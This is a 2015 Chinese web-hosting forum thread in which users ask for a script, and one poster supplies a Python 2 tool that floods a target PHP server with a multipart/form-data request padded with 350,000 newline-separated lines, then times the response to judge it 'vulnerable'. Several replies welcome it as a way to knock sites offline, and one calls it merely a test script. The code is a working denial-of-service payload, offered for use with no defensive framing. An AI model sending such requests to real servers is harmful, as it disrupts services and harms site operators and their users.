全球主机交流论坛

标题: 测试成功 求脚本。 [打印本页]

作者: 村长    时间: 2015-5-20 19:37
标题: 测试成功 求脚本。
rt
作者: ivv    时间: 2015-5-20 19:46
同求
作者: b121041671    时间: 2015-5-20 19:47
提示: 作者被禁止或删除 内容自动屏蔽
作者: adochina    时间: 2015-5-20 19:48
同求,真的想霸气一回
作者: 弘白    时间: 2015-5-20 19:48
提示: 作者被禁止或删除 内容自动屏蔽
作者: opelnic    时间: 2015-5-20 19:50
同求
作者: jianke    时间: 2015-5-20 19:55
不懂~~~
作者: seny    时间: 2015-5-20 19:57
我说刚才怎么打不开,求手稿!~~
作者: wanglighost    时间: 2015-5-20 19:59
本帖最后由 wanglighost 于 2015-5-20 20:00 编辑

import sys
import urllib,urllib2
import datetime
from optparse import OptionParser

def http_proxy(proxy_url):

    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy

def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end


def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store",
                  dest="target",
                  default=False,
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
        target = options.target
    else:
        return;

    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    respond=check_php_multipartform_dos(target,body,headers)
    print "Result : "
    print respond[0]
    print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
    main()

摘自:http://bbs.itzmx.com/thread-9063-1-1.html
作者: 黑线    时间: 2015-5-20 20:00
wanglighost 发表于 2015-5-20 19:59
import sys
import urllib,urllib2
import datetime

Python脚本,好好好,,不知道多少网站要炸了
作者: eatdao    时间: 2015-5-20 20:05

作者: Dk2014    时间: 2015-5-20 20:06
我运行总有一行出错
作者: caesar    时间: 2015-5-20 21:08
mark
作者: wenguonideshou    时间: 2015-5-20 21:15
wanglighost 发表于 2015-5-20 19:59
import sys
import urllib,urllib2
import datetime

这只是测试脚本
作者: lxqfff    时间: 2015-5-20 21:16
提示: 作者被禁止或删除 内容自动屏蔽
作者: 东方星雨    时间: 2015-5-20 23:09
这是打算炸网络的吗?




欢迎光临 全球主机交流论坛 (https://hostloc-workers.ikyomon.com/) Powered by Discuz! X3.4